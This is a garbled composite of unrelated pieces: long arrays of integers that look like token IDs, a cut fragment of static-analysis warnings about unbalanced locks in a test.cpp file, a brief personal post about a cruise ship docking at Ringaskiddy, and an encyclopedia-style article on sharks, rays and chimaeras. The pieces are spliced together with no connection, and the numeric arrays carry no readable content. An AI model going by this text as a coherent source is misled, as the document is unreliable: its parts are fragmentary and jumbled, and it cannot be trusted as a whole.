11498, 313, 12563, 1925, 48381, 13822, 3741, 13, 390, 4808, 9970, 582, 342, 247, 2605, 2074, 281, 9970, 11253, 273, 271, 8346, 46803, 3828, 13, 13822, 460, 13, 285, 271, 6703, 32061, 13369, 15, 1284, 253, 5893, 17202, 13, 253, 4808, 2553, 310, 11848, 407, 253, 1635, 273, 625, 11498, 2581, 685, 407, 253, 3116, 273, 2060, 11498, 15, 380, 9970, 3746, 403, 3365, 7321, 21927, 1238, 11498, 28, 44470, 452, 2067, 10175, 273, 9970, 13, 342, 5407, 9970, 1900, 6684, 3212, 253, 2914, 2252, 10175, 273, 5164, 9970, 15, 496, 690, 3417, 13, 271, 2060, 476, 17914, 625, 685, 1884, 13, 933, 9970, 275, 697, 12702, 15, 187, 187, 6872, 49720, 403, 2223, 1869, 273, 347, 20523, 2429, 281, 45861, 49720, 285, 2659, 14, 3169, 17073, 36613, 15, 6676, 28877, 32246, 1994, 507, 13, 2299, 13, 452, 16323, 18144, 41655, 326, 452, 1160, 731, 5547, 36207, 689, 247, 4618, 2491, 273, 33890, 15, 380, 21768, 273, 3939, 36207, 13, 1690, 1142, 44470, 13, 187, 609, 3340, 973, 3715, 15, 329, 19497, 3282, 273, 4854, 4483, 44470, 281, 19912, 21794, 432, 347, 2080, 1977, 347, 10257, 17249, 313, 10695, 4669, 481, 1583, 403, 3782, 7996, 281, 1698, 14, 18163, 36459, 824, 347, 1110, 23128, 407, 11062, 5074, 15, 18874, 310, 5189, 949, 253, 13628, 285, 949, 253, 11884, 1386, 1157, 247, 2962, 273, 6514, 14, 14653, 47399, 2112, 253, 1481, 285, 7123, 273, 253, 2133, 326, 3831, 17872, 1341, 7996, 281, 36459, 15, 1284, 275, 1142, 44970, 35486, 25045, 13, 253, 3304, 273, 247, 35409, 434, 5130, 310, 6107, 342, 247, 13341, 292, 360, 1157, 247, 6384, 326, 13806, 1708, 896, 715, 253, 5130, 13, 2403, 352, 6927, 281, 923, 275, 3317, 1708, 15, 16513, 954, 49720, 13, 44470, 476, 4796, 285, 5645, 616, 30980, 15, 496, 690, 3417, 13, 253, 2927, 403, 6885, 1309, 12422, 407, 253, 295, 882, 27427, 6384, 13, 247, 2605, 2074, 281, 271, 32153, 301, 15, 380, 3599, 4542, 706, 83, 3903, 74, 1387, 556, 6024, 19063, 44784, 327, 253, 2406, 1930, 273, 253, 2133, 28, 984, 273, 731, 13, 44470, 476, 2736, 10058, 6299, 273, 15991, 824, 347, 2614, 13, 534, 4483, 731, 281, 26710, 21794, 432, 13849, 273, 2067, 4289, 4669, 15, 6610, 13, 44470, 476, 2736, 8545, 6298, 3066, 253, 717, 23290, 3348, 273, 31529, 91, 5391, 13, 534, 403, 18052, 15384, 5939, 689, 247, 35409, 434, 1481, 326, 2736, 2544, 275, 8545, 18476, 15, 1608, 7969, 897, 841, 281, 3282, 253, 8545, 4910, 23128, 407, 253, 2798, 285, 13370, 273, 616, 21794, 15, 187, 187, 510, 966, 775, 857, 32246, 1994, 265, 3797, 767, 2201, 2390, 27, 253, 3599, 4542, 706, 83, 3903, 74, 313, 1200, 7969, 13, 1629, 684, 13, 285, 23154, 10, 285, 253, 4716, 80, 336, 545, 8952, 313, 348, 8032, 11987, 390, 2839, 71, 6419, 481, 3599, 4542, 706, 83, 3903, 84, 403, 2007, 4272, 715, 11329, 607, 2458, 313, 1200, 7969, 10, 285, 10464, 9448, 313, 20237, 285, 616, 17772, 481, 380, 18353, 1941, 273, 775, 857, 32246, 1994, 265, 275, 253, 22852, 1924, 310, 432, 253, 8397, 33286, 13, 253, 594, 14, 8890, 11362, 273, 401, 6419, 13, 432, 16176, 281, 9166, 3041, 1107, 3622, 15, 187, 187, 37315, 607, 2458, 313, 2809, 7969, 10, 187, 187, 2512, 403, 5512, 16176, 3417, 273, 44470, 15, 1583, 403, 7943, 407, 247, 6895, 406, 254, 1179, 8105, 313, 783, 5170, 2716, 1146, 3356, 685, 253, 2406, 2716, 582, 2620, 281, 5093, 305, 408, 1499, 953, 323, 37742, 13, 285, 247, 9971, 2133, 11173, 433, 387, 1097, 7637, 15, 187, 2809, 7969, 403, 2190, 253, 954, 46485, 273, 512, 17268, 15, 35555, 4466, 556, 36074, 4457, 1921, 253, 5434, 22691, 407, 44470, 281, 7497, 15, 380, 5002, 8852, 1282, 13, 342, 247, 1029, 4038, 273, 1097, 1966, 285, 1270, 3168, 35409, 7625, 13, 31218, 760, 581, 35409, 14, 4919, 4688, 1319, 1046, 4314, 1107, 15, 1707, 310, 1652, 1941, 326, 44470, 21794, 327, 7497, 323, 2739, 15, 329, 50196, 1180, 273, 35409, 8104, 2826, 2822, 14393, 285, 6150, 27405, 25405, 12395, 13, 285, 919, 15618, 13, 3692, 41243, 1981, 29217, 253, 3879, 273, 247, 14393, 327, 253, 2553, 13, 403, 625, 2779, 281, 320, 13964, 685, 660, 25642, 7940, 15, 2053, 2616, 5224, 326, 44470, 778, 320, 5384, 1170, 7497, 323, 35164, 390, 643, 1781, 17787, 21794, 15, 8598, 45289, 17988, 8785, 16545, 6773, 403, 671, 387, 3687, 2495, 273, 35409, 2983, 28, 253, 36459, 273, 247, 7635, 3834, 6773, 778, 6427, 44470, 13, 594, 581, 434, 5834, 943, 1900, 320, 41559, 15, 6061, 2716, 273, 2264, 35409, 8104, 3176, 281, 320, 3731, 27481, 32169, 390, 1302, 5363, 12646, 13, 342, 247, 8847, 3200, 17691, 253, 2983, 27, 253, 35409, 41482, 697, 1481, 432, 1930, 281, 1930, 285, 10831, 84, 896, 285, 6593, 1486, 5372, 13, 342, 697, 1481, 8042, 598, 15, 5595, 44470, 326, 2983, 7497, 403, 5315, 413, 1661, 44470, 13, 1690, 253, 1270, 3168, 44470, 313, 42149, 79, 15203, 2387, 285, 997, 9623, 44470, 313, 36, 1116, 274, 23187, 15203, 5349, 44470, 275, 841, 5870, 3997, 327, 1781, 6773, 390, 17787, 25045, 15, 1720, 371, 9623, 44470, 2486, 253, 39121, 35409, 285, 253, 12156, 35409, 13, 534, 3997, 8558, 327, 643, 44470, 15, 44591, 2522, 44470, 313, 52, 545, 6147, 79, 15203, 2387, 2714, 907, 275, 20362, 38278, 20237, 15, 187, 187, 510, 499, 41484, 14, 26449, 35105, 44470, 313, 27837, 1763, 32430, 15203, 2387, 403, 253, 1533, 434, 6253, 49720, 13, 342, 16095, 273, 598, 281, 1283, 17249, 313, 1549, 4669, 481, 5131, 5699, 499, 41484, 3997, 398, 2486, 253, 13390, 314, 4907, 19488, 312, 2001, 84, 313, 46, 909, 607, 4542, 15203, 2387, 285, 1666, 4351, 44470, 313, 36, 292, 263, 23187, 15203, 13441, 2053, 44470, 10831, 342, 616, 37111, 1527, 13, 3405, 1699, 499, 41484, 949, 7321, 5289, 2330, 342, 253, 305, 3171, 15, 187, 187, 6175, 253, 4067, 44470, 403, 1805, 1929, 281, 253, 2087, 1345, 13, 4577, 3417, 403, 2080, 625, 11117, 285, 17829, 15, 380, 322, 15847, 15203, 2486, 253, 653, 5104, 4370, 12306, 13, 534, 28468, 7194, 327, 275, 31861, 36613, 28, 352, 310, 247, 7583, 7431, 323, 11250, 275, 247, 6773, 285, 16666, 8955, 285, 323, 20874, 32508, 15, 8035, 3558, 273, 253, 322, 15847, 15203, 13, 253, 13064, 4995, 313, 12496, 14, 12099, 10, 19550, 14, 7317, 350, 35409, 13, 8505, 4648, 253, 1708, 14, 28916, 15384, 3781, 264, 1475, 697, 2133, 281, 25066, 247, 2143, 273, 1355, 6773, 15, 831, 45465, 1781, 6773, 13, 534, 253, 19550, 14, 7317, 350, 35409, 840, 8104, 13, 9968, 562, 247, 3790, 5110, 273, 15447, 342, 24443, 7321, 9970, 15, 29961, 44470, 313, 49, 2198, 17591, 1688, 15203, 2387, 897, 247, 1048, 3802, 483, 21817, 342, 9479, 9970, 281, 41048, 616, 1039, 949, 6629, 273, 6773, 28, 597, 840, 1091, 281, 3997, 327, 16545, 6773, 285, 667, 31418, 7437, 597, 778, 1089, 15, 380, 23087, 35409, 313, 44824, 5009, 15203, 2387, 29217, 247, 21868, 533, 476, 320, 15622, 407, 305, 408, 29239, 327, 253, 1930, 273, 253, 1481, 2581, 685, 327, 697, 5004, 285, 407, 253, 958, 326, 253, 268, 7720, 267, 45006, 403, 417, 7660, 281, 253, 1930, 273, 253, 1481, 347, 597, 403, 275, 10464, 9448, 15, 187, 187, 42818, 9448, 313, 51, 698, 13, 8229, 684, 13, 443, 36567, 71, 6419, 13, 285, 29961, 71, 6419, 10, 187, 187, 510, 36110, 3417, 273, 436, 11117, 1387, 273, 49720, 452, 275, 1846, 247, 42394, 2133, 342, 11848, 268, 7720, 267, 45006, 29843, 281, 253, 1481, 313, 783, 346, 88, 723, 3, 275, 23154, 481, 15103, 9448, 403, 5939, 4768, 253, 1533, 434, 40277, 285, 275, 690, 20856, 45199, 12620, 15, 187, 187, 52, 1403, 12306, 313, 49, 2198, 301, 4960, 265, 2387, 476, 8268, 818, 17249, 313, 1508, 4669, 10, 275, 2978, 28, 597, 452, 247, 1048, 3802, 483, 21817, 342, 3047, 3022, 9970, 285, 9232, 21794, 751, 253, 3047, 44470, 2529, 1840, 15, 443, 36567, 12306, 390, 42553, 48848, 23154, 313, 51, 23187, 706, 255, 4960, 265, 2387, 403, 7943, 407, 247, 1048, 13, 5026, 2133, 285, 4942, 6891, 268, 7720, 267, 45006, 28, 597, 3997, 7194, 327, 275, 31861, 36613, 327, 253, 41240, 5004, 15, 8229, 684, 313, 51, 1432, 4960, 265, 2387, 403, 1119, 187, 39025, 275, 3676, 1824, 28, 597, 13, 1512, 13, 3997, 327, 275, 31861, 36613, 285, 403, 15622, 407, 247, 2962, 273, 289, 35546, 327, 253, 8105, 15, 187, 187, 510, 1340, 2752, 965, 706, 255, 301, 4960, 265, 4428, 2067, 3510, 273, 21868, 15, 380, 1781, 42484, 23154, 313, 3220, 965, 706, 255, 15203, 2387, 452, 2266, 13, 27602, 268, 7720, 267, 45006, 323, 5233, 17120, 15, 353, 7300, 23154, 313, 46, 706, 335, 15203, 2387, 403, 253, 6253, 23154, 13, 863, 1776, 34414, 273, 670, 818, 17249, 313, 20, 4669, 558, 751, 253, 6253, 44470, 13, 597, 8800, 18052, 6208, 31369, 323, 12422, 327, 499, 41484, 15, 659, 272, 20237, 313 ]

unlocked or might be locked more times than it is unlocked. | | test.cpp:303:11:303:18 | call to try_lock | This lock might not be unlocked or might be locked more times than it is unlocked. | | test.cpp:313:11:313:18 | call to try_lock | This lock might not be unlocked or might be locked more times than it is unlocked. | | test.cpp:442:8:442:17 | call to mutex_lock | This lock might not be unlocked or might be locked more times than it is unlocked. | Search Posts Categories The Constellation April 2005. A very, very, very large boat docks in Ringaskiddy (about 5/6 mins drive from Carrigaline) and offloads a bunch of presumably wealthy tourists for a few days. This was taken just before it’s departure, which was also a grand affair that saw many locals, including local journalists, come out to record for posterity. Now a dwarf among it’s sisters, the others have taken to docking in nearby Cobh which I believe offers a more accommodating home for the cruise ships.Chondrichthyes Animal Sciences COPYRIGHT 2002 The Gale Group Inc. Chondrichthyes The class Chondrichthyes consists of the cartilaginous fishes, including sharks, batoids (rays, skates, guitarfish, and sawfishes), and chimaeras, or ratfishes. A diverse group comprising more than 700 species, Chondrichthyans are found throughout the world's oceans and in some freshwater environments. The group as a whole is characterized not by mineralized bone but by a skeleton of soft, flexible cartilage lined with hard tissue. Chondrichthyans lack the air-filled swim bladder found in most bony fish, and therefore must swim continuously to stay afloat. Buoyancy is assisted by light oils in the liver, which can comprise up to 25 percent of a shark's total body weight. Chondrichthyan males have a pelvic clasper, a specialized organ used in mating. Unlike most bony fishes, all chondrichthyans have internal fertilization. Reproduction can be oviparous (laying eggs, notably the "mermaid's purses" found on beaches), viviparous (live-bearing), or ovoviviparous (eggs carried within the mother). The physiology of Chondrichthyan is of interest to cancer researchers because the cartilage of chondrichthyans contains substances known to inhibit the growth of tumors, and cancer is extremely rare in sharks. The group is characterized by placoid scales (also called dermal denticles, or skin teeth), with a structure similar to teeth consisting of an outer enamel layer, dentine, and an inner pulp cavity. As the animal grows, the skin surface is expanded by the addition of more scales rather than by the growth of individual scales. The teeth themselves are simply modified placoid scales; sharks have several rows of teeth, with replacement teeth always developing behind the frontmost rows of functional teeth. In some species, an individual can shed more than 30,000 teeth in its lifetime. These fishes are often thought of as primitive compared to bony fishes and land-based vertebrates. Many chondrichthyans, however, have evolved sophisticated adaptations that have made them successful predators over a wide range of habitats. The senses of active predators, including many sharks, are especially well developed. A keen sense of hearing allows sharks to locate prey from as far away as 250 meters (800 feet). They are particularly sensitive to low-frequency vibrations such as those emitted by injured animals. Sound is detected through the ears and through the lateral line, a series of fluid-filled canals along the head and sides of the body that contain sensory cells sensitive to vibrations. As in many nocturnal mammals, the inside of a shark's eye is covered with a tapetum, a membrane that reflects light back into the eye, making it easier to see in dim light. Unlike most fishes, sharks can reduce and expand their pupils. In some species, the eyes are protected during feeding by the nictitating membrane, a structure similar to an eyelid. The Elasmobranchi group has external nostrils on the lower side of the body; because of them, sharks can detect tiny concentrations of substances such as blood, which allows them to scent prey from distances of several hundred feet. Finally, sharks can detect electrical signals via the ampullae of Lorenzini, which are specialized organs distributed over a shark's head that detect changes in electrical currents. Sharks use these to sense the electrical fields emitted by the heart and muscles of their prey. The class Chondrichthyes includes two major groups: the Elasmobranchi (sharks, skates, and rays) and the Holocephali (chimaeras or ratfishes). Elasmobranchs are further divided into selachians (sharks) and batoids (rays and their relatives). The earliest evidence of Chondrichthyes in the fossil record is from the Devonian, the so-called Age of Fishes, from 350 to 400 million years ago. Selachians (Sharks) There are approximately 350 species of sharks. They are characterized by a heterocercal tail (the upper half being longer than the lower half), five to seven gill slits for respiration, and a rounded body tapered at both ends. Sharks are among the most misunderstood of all creatures. Popular culture has exaggerated beyond reason the danger posed by sharks to humans. The California coastline, with a high density of both human and great white shark populations, averages only one shark-related fatality every eight years. There is little evidence that sharks prey on humans for food. A disproportionate number of shark attacks occur near seal and sea lion rookeries, and surfers, whose paddling resembles the behavior of a seal on the surface, are more likely to be attacked than scuba divers. These factors indicate that sharks may be mistaking humans for seals or other large marine prey. Spearfishers carrying wounded fish are also at greater risk of shark attack; the vibrations of a thrashing fish may attract sharks, so one's catch should always be immobilized. Over half of total shark attacks appear to be misdirected territorial or courtship displays, with a characteristic motion preceding the attack: the shark shakes its head from side to side and swims back and forth erratically, with its head pointed up. Most sharks that attack humans are mackerel sharks, including the great white sharks (Lamnidae ) and requiem sharks (Carcharhinidae ); sharks in these families feed on large fish or marine mammals. Requiem sharks include the tiger shark and the bull shark, which feed primarily on other sharks. Hammerhead sharks (Sphyrnidae ) specialize in attacking stingrays. The plankton-feeding whale sharks (Rhincodontidae ) are the world's largest fishes, with lengths of up to 18 meters (60 feet). Other huge plankton feeders include the aptly named megamouths (Megachasmidae ) and basking sharks (Cetorhinidae ). These sharks swim with their mouths open, straining plankton through modified structures associated with the gills. While the larger sharks are better known to the general public, smaller species are far more diverse and abundant. The Squalidae include the spiny dogfish, which feeds mainly on invertebrates; it is a favorite candidate for inclusion in a fish and chips dinner and for classroom dissection. Another member of the Squalidae, the diminutive (four-inch) cookie-cutter shark, apparently uses the light-producing organs arrayed around its body to mimic a school of small fish. This attracts large fish, which the cookie-cutter shark then attacks, cutting out a round portion of flesh with specially modified teeth. Saw sharks (Pristiophoridae ) use a long snout lined with sharp teeth to slash their way through schools of fish; they then return to feed on wounded fish and any detached pieces they may find. The angel shark (Squatinidae ) resembles a ray but can be distinguished by gill openings on the side of the head rather than on its bottom and by the fact that the pectoral fins are not attached to the side of the head as they are in batoids. Batoids (Rays, Skates, Guitarfishes, and Sawfishes) The 470 species of this diverse group of fishes have in common a flattened body with expanded pectoral fins fused to the head (the "wings" in rays). Batoids are distributed throughout the world's oceans and in some tropical freshwater environments. Sawfish (Pristidiformes ) can exceed 7 meters (23 feet) in length; they have a long snout lined with sawlike teeth and capture prey like the saw sharks described above. Guitarfish or shovelnose rays (Rhinobatiformes ) are characterized by a long, thick body and relatively narrow pectoral fins; they feed mainly on invertebrates on the sandy bottom. Skates (Rajiformes ) are found mostly in deep water; they, too, feed on invertebrates and are distinguished by a series of thorns on the tail. The order Myliobatidiformes contains several types of ray. The large eagle rays (Myliobatidae ) have strong, muscular pectoral fins for rapid swimming. Manta rays (Mobulidae ) are the largest rays, attaining widths of about 7 meters (3 feet); like the largest sharks, they bear specialized mouthparts for feeding on plankton. Stingrays (

[ 2105, 273, 253, 2199, 672, 7012, 275, 16609, 369, 22504, 15, 898, 15, 3832, 43813, 13, 534, 13, 347, 273, 5215, 13, 310, 5998, 281, 2105, 22504, 18672, 9187, 373, 15, 24969, 273, 253, 2199, 369, 2299, 3053, 275, 14828, 13, 253, 2687, 369, 6312, 275, 5307, 285, 253, 33501, 4445, 310, 762, 2457, 8661, 273, 12240, 1907, 6786, 271, 33501, 2442, 273, 898, 13, 42215, 419, 13, 347, 273, 5215, 15, 187, 187, 1552, 310, 271, 32491, 432, 253, 3929, 6470, 40186, 303, 12304, 432, 253, 26654, 1959, 546, 34132, 15, 329, 1618, 273, 4477, 310, 2130, 387, 26654, 15, 187, 187, 510, 3929, 6470, 40186, 303, 12304, 387, 546, 15, 25842, 15, 2061, 369, 19197, 43732, 2069, 275, 253, 1390, 1884, 1897, 15, 313, 284, 273, 27, 1249, 16, 1348, 16, 6622, 10, 187, 187, 18431, 15067, 44488, 497, 1146, 4307, 1561, 253, 749, 961, 9515, 2170, 187, 9131, 352, 3395, 247, 2687, 15, 3346, 322, 2878, 318, 4269, 407, 15067, 275, 253, 5170, 14190, 273, 253, 6470, 40186, 303, 12304, 434, 5834, 420, 2170, 812, 31063, 4796, 697, 3264, 2233, 14, 2913, 3346, 187, 187, 4041, 273, 253, 2022, 7350, 323, 5865, 38676, 3063, 310, 15231, 4323, 27, 849, 281, 1873, 13, 1089, 13, 4017, 13, 285, 294, 14, 2327, 616, 7963, 15, 380, 1682, 5482, 476, 320, 1119, 275, 380, 22012, 7225, 13, 776, 1682, 23708, 7102, 281, 14419, 5865, 3888, 14556, 285, 8069, 15, 26013, 665, 32299, 13, 20947, 13, 390, 10111, 5865, 15928, 310, 25815, 5865, 15231, 2333, 20867, 1051, 187, 187, 2214, 1650, 13, 2190, 253, 1643, 4255, 37063, 6493, 326, 501, 3592, 1070, 616, 399, 3724, 13, 760, 187, 783, 378, 15414, 378, 15414, 20763, 10367, 8916, 21307, 501, 3592, 1070, 954, 273, 731, 1561, 247, 807, 15, 496, 187, 783, 2571, 13, 597, 574, 281, 3343, 323, 271, 3388, 273, 767, 1107, 15, 496, 3617, 66, 13, 253, 6470, 40186, 303, 12304, 187, 1051, 187, 187, 31870, 434, 3729, 5791, 310, 3809, 7552, 2568, 1529, 8232, 273, 3626, 285, 637, 14, 12710, 36578, 13, 734, 24925, 1213, 1074, 13, 285, 12338, 15272, 15, 831, 556, 1421, 281, 697, 15890, 323, 253, 6253, 1180, 273, 952, 11485, 327, 253, 2118, 275, 253, 2586, 13, 285, 7613, 253, 24760, 275, 253, 1984, 4060, 342, 2071, 8328, 327, 616, 5721, 292, 15, 831, 1984, 310, 247, 509, 423, 1514, 273, 1083, 799, 1051, 187, 187, 1051, 6470, 40186, 303, 12304, 18699, 310, 253, 954, 1774, 2687, 13, 5277, 1824, 281, 8255, 187, 25250, 273, 3617, 266, 3072, 15, 9110, 1014, 436, 310, 762, 4322, 15, 496, 253, 4328, 273, 253, 187, 2973, 1369, 15067, 8483, 13, 1283, 2558, 273, 253, 9741, 556, 15159, 8479, 20638, 281, 187, 1051, 187, 187, 37, 2300, 38312, 16398, 310, 247, 5865, 15231, 4323, 1984, 326, 6131, 247, 8788, 273, 7000, 1491, 368, 476, 897, 281, 2216, 13, 2098, 13, 8745, 13, 8591, 285, 6558, 247, 5547, 22012, 15952, 387, 634, 6003, 15, 36745, 275, 247, 11453, 13, 3477, 14, 936, 14, 25739, 3740, 13, 22012, 38312, 16398, 310, 247, 9865, 7741, 323, 1110, 2819, 715, 5865, 15231, 4323, 323, 253, 3346, 187, 187, 35914, 275, 253, 1246, 1083, 253, 747, 2670, 369, 4236, 323, 253, 14433, 273, 253, 187, 5142, 713, 327, 253, 10907, 273, 253, 6470, 40186, 303, 18699, 2822, 6470, 40186, 303, 12304, 835, 253, 8281, 187, 5449, 84, 275, 49740, 274, 580, 1240, 343, 2886, 407, 6153, 253, 3236, 6938, 4758, 15, 380, 747, 2670, 187, 1051, 187, 187, 9150, 261, 422, 4668, 21468, 403, 4536, 253, 3998, 7003, 84, 273, 10950, 285, 19414, 3185, 273, 39091, 15, 380, 12536, 273, 6176, 434, 4101, 34502, 40258, 407, 253, 10043, 6037, 10627, 275, 23430, 369, 581, 824, 30417, 7517, 15, 44117, 4668, 24072, 23253, 313, 510, 15764, 273, 9643, 10, 556, 9924, 271, 19812, 550, 1598, 41548, 789, 275, 253, 3740, 273, 247, 3809, 14, 4511, 1051, 1552, 3688, 7033, 281, 13905, 39417, 265, 323, 10499, 253, 13905, 875, 17300, 285, 9185, 11385, 273, 247, 43410, 4023, 285, 3797, 2097, 323, 8356, 7037, 839, 323, 253, 11288, 6907, 273, 247, 638, 14, 5267, 2591, 17300, 7793, 15, 187, 3039, 9185, 11385, 403, 1160, 275, 247, 43410, 4023, 247, 17300, 7793, 310, 806, 638, 14, 5267, 2591, 285, 840, 253, 9185, 11385, 403, 4080, 432, 253, 5275, 1127, 327, 253, 9080, 273, 253, 17300, 7793, 15, 831, 310, 3798, 2218, 342, 247, 11206, 1907, 247, 22627, 2553, 11038, 253, 16841, 273, 253, 43410, 4023, 15, 25683, 841, 39417, 265, 452, 247, 4229, 14018, 323, 15966, 253, 5024, 273, 253, 17300, 7793, 281, 1899, 253, 13905, 11206, 323, 10499, 281, 253, 9185, 7793, 15, 831, 4229, 14018, 2299, 13, 1057, 417, 1581, 14000, 273, 253, 13905, 11206, 323, 3910, 275, 253, 11288, 6907, 432, 581, 17300, 7793, 275, 581, 4023, 281, 247, 1027, 6907, 17300, 7793, 275, 1529, 4023, 15, 3308, 13, 253, 22627, 5024, 778, 417, 20187, 9113, 342, 253, 16841, 273, 253, 4023, 13, 7624, 6153, 271, 2228, 275, 253, 6814, 15, 831, 310, 247, 18928, 984, 253, 3451, 6814, 310, 6685, 1774, 281, 3657, 3731, 40446, 273, 253, 9185, 11385, 15, 831, 3731, 40446, 476, 417, 760, 2847, 4723, 281, 253, 9881, 533, 671, 476, 11639, 253, 4388, 275, 253, 6742, 273, 253, 4023, 15, 3840, 13, 2378, 271, 2228, 556, 644, 1160, 275, 253, 14663, 273, 253, 9185, 11385, 352, 310, 2834, 604, 417, 7479, 281, 3451, 15, 1394, 476, 2451, 562, 521, 6096, 2793, 342, 2403, 3173, 5477, 275, 247, 3492, 9269, 327, 776, 9013, 16951, 3272, 3492, 5147, 6365, 893, 27, 3944, 1358, 2700, 15, 78, 3592, 580, 83, 15, 681, 16, 87, 16, 82, 21, 69, 59, 67, 35, 1109, 264, 50, 22, 2851, 5305, 19, 187, 187, 3351, 5477, 1669, 247, 1524, 13214, 327, 479, 13, 436, 778, 320, 1955, 281, 253, 958, 273, 1907, 247, 2021, 3558, 342, 247, 12564, 533, 671, 1955, 281, 253, 5609, 26419, 285, 521, 2285, 13, 8049, 25295, 23047, 13, 908, 281, 2794, 253, 5471, 273, 12940, 285, 7185, 275, 247, 21218, 2317, 15, 24697, 3652, 247, 6568, 1475, 247, 3520, 6779, 273, 247, 13603, 1436, 1663, 1691, 479, 275, 247, 2317, 273, 31917, 387, 2792, 15, 510, 1246, 3688, 7033, 281, 253, 7248, 273, 253, 7236, 3678, 6186, 281, 247, 9836, 12220, 42906, 407, 2097, 273, 247, 2685, 1453, 11059, 534, 310, 11658, 407, 271, 5637, 5694, 13, 36390, 253, 2685, 275, 2380, 281, 253, 10575, 275, 3276, 273, 253, 16934, 2170, 13, 285, 253, 11059, 310, 253, 8746, 7319, 8488, 1511, 15, 187, 6764, 14, 1508, 2251, 2945, 14110, 247, 3678, 2685, 1453, 11059, 323, 247, 9836, 3678, 39870, 13, 10646, 253, 2685, 273, 3678, 28106, 253, 50078, 310, 13527, 407, 2097, 273, 253, 26830, 5909, 273, 247, 11059, 7793, 275, 8956, 342, 253, 3276, 273, 253, 1824, 12164, 407, 253, 39870, 13, 275, 1264, 8661, 27, 5927, 2685, 13, 26830, 2685, 285, 4869, 2685, 15, 380, 7248, 11059, 556, 767, 2962, 11059, 2758, 9904, 281, 247, 2014, 11059, 8424, 13, 3304, 271, 4812, 3678, 9320, 13, 534, 3461, 684, 253, 3678, 29450, 12881, 342, 253, 19564, 12881, 15, 380, 11059, 8424, 19459, 4589, 1365, 769, 11634, 407, 271, 1516, 409, 36488, 275, 8956, 342, 253, 1318, 273, 253, 5637, 1655, 3732, 281, 253, 25072, 15, 380, 11059, 3558, 323, 5927, 2685, 310, 4395, 806, 273, 512, 281, 1527, 247, 4275, 949, 7793, 285, 352, 310, 10877, 327, 253, 1072, 8424, 347, 253, 1029, 2685, 11059, 3558, 15, 733, 310, 840, 14287, 432, 697, 11059, 7319, 275, 247, 1273, 26830, 4866, 281, 1339, 253, 1029, 2685, 1509, 15, 1198, 14230, 13, 1016, 11059, 24844, 3558, 310, 6726, 275, 253, 7285, 3884, 407, 697, 9056, 1091, 7203, 15, 187, 54, 15, 52, 15, 2790, 15, 1621, 15, 577, 13, 41532, 13, 26, 1797, 14110, 247, 4471, 14, 9561, 3678, 1453, 11059, 323, 247, 12220, 42906, 13, 824, 347, 247, 1824, 34037, 15, 380, 11059, 556, 247, 2014, 7319, 285, 253, 24844, 3558, 3936, 253, 830, 273, 247, 6507, 1262, 13, 253, 2685, 5909, 1146, 4778, 7293, 327, 253, 23694, 4181, 273, 253, 24844, 3558, 15, 496, 8956, 342, 253, 7629, 275, 253, 1318, 273, 253, 1824, 3276, 4080, 407, 247, 8468, 13, 253, 11059, 1453, 3943, 15693, 271, 28046, 2625, 326, 13191, 253, 769, 18186, 1516, 409, 36488, 281, 6558, 253, 11059, 275, 1027, 6498, 10006, 13, 342, 247, 5927, 3638, 3678, 2685, 13, 247, 26830, 10444, 2685, 13, 285, 247, 3638, 4869, 2685, 15, 187, 13801, 14, 2090, 1047, 2222, 14, 34, 14110, 247, 3678, 1453, 11059, 323, 247, 12220, 42906, 273, 253, 1511, 342, 271, 4589, 1365, 20661, 8424, 342, 247, 8746, 11059, 7319, 15, 380, 24844, 2758, 403, 275, 2962, 275, 247, 2014, 3678, 9320, 875, 253, 29450, 285, 19564, 25886, 285, 403, 2530, 342, 247, 9056, 7203, 10877, 327, 253, 8424, 15, 380, 11059, 310, 11658, 407, 2097, 273, 271, 24026, 1516, 409, 36488, 342, 247, 20661, 4430, 1177, 323, 5909, 285, 11196, 1097, 11059, 24392, 13, 285, 247, 12293, 5694, 323, 38588, 11059, 5909, 2556, 281, 271, 6498, 4438, 13, 534, 49630, 253, 2685, 273, 3678, 12164, 281, 253, 12220, 42906, 13, 2403, 897, 273, 271, 2330, 7051, 1453, 3943, 285, 2710, 13479, 15, 2993, 29359, 5197, 6519, 14, 12982, 1854, 11644, 285, 28155, 44880, 452, 18133, 247, 1618, 273, 5583, 6109, 11222, 323, 3541, 34253, 13, 1728, 4323, 13, 3739, 4323, 13, 4730, 285, 3998, 5763, 15, 1583, 452, 908, 841, 11222, 342, 3998, 4975, 285, 9980, 1363, 347, 629, 273, 616, 40083, 285, 29964, 20123, 5659, 387, 44452, 5197, 15, 187, 187, 4943, 403, 690, 273, 253, 954, 4633, 11222, 13, 1142, 273, 534, 403, 2130, 323, 1097, 8217, 285, 5559, 4095, 15, 329, 3426, 1618, 310, 2130, 275, 253, 19415, 6184, 1840, 15, 187, 187, 2214, 3541, 285, 7219, 34253, 13, 1611, 27, 187, 187, 39, 386, 505, 474, 374, 187, 187, 35313, 9939, 187, 187, 26008, 503, 2542, 187, 187, 4312, 46, 6228, 187, 187, 21914, 253, 41452, 187, 187, 2214, 1728, 4323, 13, 1611, 27, 187, 187, 18686, 48611, 1100, 187, 187, 25310, 611, 34808, 187, 187, 38650, 19534, 5552, 7648, 187, 187, 2214, 3739, 4323, 13, 1611, 27, 187, 187, 49, 408, 7536, 466, 187, 187, 3220, 8710, 28730, 187, 187, 3220, 401, 4208, 5226, 187, 187, 2214, 4730, 13, 1611, 27, 187, 187, 74, 11530, 466, 91, 418, 614, 187, 187, 46250, 7518, 468, 187, 187, 20, 37, 24114, 187, 187, 2214, 3998, 18418, 13, 1611, 27, 187, 187, 74, 27341, 1241, 187, 187, 45, 360, 11108, 187, 187, 39, 25693, 21688, 187, 187, 18507, 14, 18237, 374, 187, 187, 51, 4234, 42235, 187, 187, 2214, 625, 1491, 327, 3998, 4975, 20123, 3238, 387, 44452, 5197, 13, 5532, 1060, 15, 187, 187, 10572, 44452, 5197, 187, 187, 2993, 29359, 5197, 13, 4441, 275, 18267, 13, 12096, 13, 310, 247, 3055, 13, 417, 14, 1542, 14, 15608, 4675, 2714, 3006, 275, 3739, 1971, 13, 2561, 285, 20123, 323, 952, 342, 14472, 12045, 4975, 13, 3998, 4975, 13, 2709, 33565, 13, 17201, 285, 6722, 3075, 13, 285, 643, 39650, 35109, 2515, 15, 5952, 264, 275, 14752, 13, 44452, 5197, 310, 17045, 407, 530, 15, 52, 15, 6317, 708, 3645, 10840, 2190, 253, 1755, 884, 20123, 13240, 275, 253, 5674, 15, 496, 697, 625, 685, 1740, 8007, 13, 44452, 5197, 556, 8228, 432, 247, 2800, 14, 3026, 20123, 3943, 281, 247, 1533, 14, 445, 15280, 13, 21786, 14, 3026, 4675, 326, 26574, 625, 685, 898, 1671, 275, 34732, 13, 39522, 1388, 